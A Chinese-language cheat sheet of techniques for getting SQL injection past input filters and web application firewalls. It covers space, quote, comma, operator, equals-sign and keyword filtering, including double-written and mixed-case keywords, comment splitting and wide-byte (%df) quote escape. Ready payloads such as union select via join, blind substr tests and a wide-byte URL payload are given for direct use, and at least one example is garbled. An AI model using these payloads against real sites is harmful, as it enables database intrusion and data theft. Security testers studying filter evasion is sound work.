一.绕过空格
1.使用tab缩进尝试绕过
2.尝试使用%a0来代替空格
3.使用()括号来绕过:
4.使用注释符号/**/绕过
二.过滤双引号绕过
使用十六进制代替
将zhangsan变为16进制后正常输出
三.绕过逗号
1.使用from
布尔型盲注的时候用来猜数据库名称时的测试语句通常为
1 and substr(database(),1,1)='e'--+
使用from for变为:
1 and substr (substr(database() from 1 for 1))='e'--+
2.使用join
union 联合注入查询通常使用的语句为
union select 1,2 --+
使用join变为
union select * from (select 1)a join (select 2)b --+
3.offset
limit 语句通常为从第几条开始取多少条数据,后面跟上offset,limit表示要取的数据量,offset表示要跳过的数据量
四.过滤or 、and、xor、not绕过
and = &&
or = ||
xor = |#(异或)
not = !
<> = != (不等于)
五.绕过等号
使用like,%表示通配符
六.绕过union,selcet,where,from等
1.双写绕过
如果防火墙只对敏感函数做了一次过滤,可以尝试使用双写绕过
union select * from test ;
变为:
ununionion sselectelect * ffromrom test;
2.大小写绕过
如果防火墙只匹配全部小写或者大写的敏感函数,可以尝试使用大小写绕过
union select * from test ;
变为
UniON SelecT * From test;
3.注释符绕过
若防火墙只匹配完整的敏感函数可以使用注释符号将其分隔开来尝试绕过
union select * from test ;
变为:
u/**/nion sele/**/ct * fro/**/m test;
七.单引号过滤绕过
单引号被过滤可能是因为被转译了,这个时候我们可以尝试使用宽字节注入来尝试绕过
宽字节注入:web网站和数据库的编码格式不一样,导致信息传输的过程中单引号逃逸。gbk编码为两个字符,askii码为1个字节,使用%df‘,带入数据库的时候就会把单引号转义,变成%df\',正好反斜线的askii编码%5c和%df组成了一个新的汉字字符,导致单引号逃逸
示列:php?id=-1%df ' union select 1,2 --+